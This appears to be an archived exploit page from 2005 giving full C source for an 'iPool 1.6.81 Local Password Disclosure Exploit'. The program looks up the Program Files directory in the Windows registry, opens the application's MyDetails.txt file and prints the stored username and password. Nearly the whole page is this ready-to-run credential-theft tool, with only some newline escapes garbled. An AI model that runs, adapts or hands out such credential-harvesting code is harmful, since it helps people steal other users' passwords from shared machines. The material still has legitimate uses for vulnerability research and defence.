[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : iPool <= 1.6.81 Local Password Disclosure Exploit
# Published : 2005-03-16
# Author : Kozan
# Previous Title : PaX Double-Mirrored VMA munmap Local Root Exploit
# Next Title : RealPlayer 10 ".smil" File Local Buffer Overflow Exploit
/*****************************************************************
iPool <= v1.6.81 Local Password Disclosure Exploit by Kozan
Application: iPool 1.6.81
Vendor:
Memir Software - memirsoftware.com and
The Pool Club - thepoolclub.com
Vulnerable Description:
iPool 1.6.81 discloses passwords to local users.
Discovered & Coded by Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com
*****************************************************************/
#include <stdio.h>
#include <string.h>
#include <windows.h>
HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
int main()
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\Windows\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
(LPBYTE) prgfiles, &dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured. Can't get password!n");
return -1;
}
RegCloseKey(hKey);
}
else
{
printf("An error occured. Can't get password!n");
return -1;
}
printf("nniPool 1.6.81 Local Password Disclosure Exploit by Kozann");
printf("Credits to ATmaCAn");
printf("kozan@netmagister.comn");
printf("www.netmagister.com - www.spyinstructors.comnn");
char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE];
strcpy(pwdfile,strcat(prgfiles,"\ThePoolClub\iPool\MyDetails.txt"));
int addr, i, y;
FILE *fp;
char ch[100], ch2[100];
if((fp=fopen(pwdfile,"rb")) == NULL)
{
printf("An error occured. Can't get password!n");
return -1;
}
fseek(fp,0,0);
for(i=0;i<30;i++)
{
ch[i]=getc(fp);
if(ch[i]==0x0D)
{
ch[i]=NULL;
strcpy(username,ch);
break;
}
}
addr = ftell(fp);
fseek(fp,addr+1,0);
for(y=0;y<30;y++)
{
ch2[y]=getc(fp);
if(ch2[y]==0x0D)
{
ch2[y]=NULL;
strcpy(password,ch2);
break;
}
}
fclose(fp);
printf("Username : %sn",username);
printf("Password : %sn",password);
return 0;
}
// www.Syue.com [2005-03-16]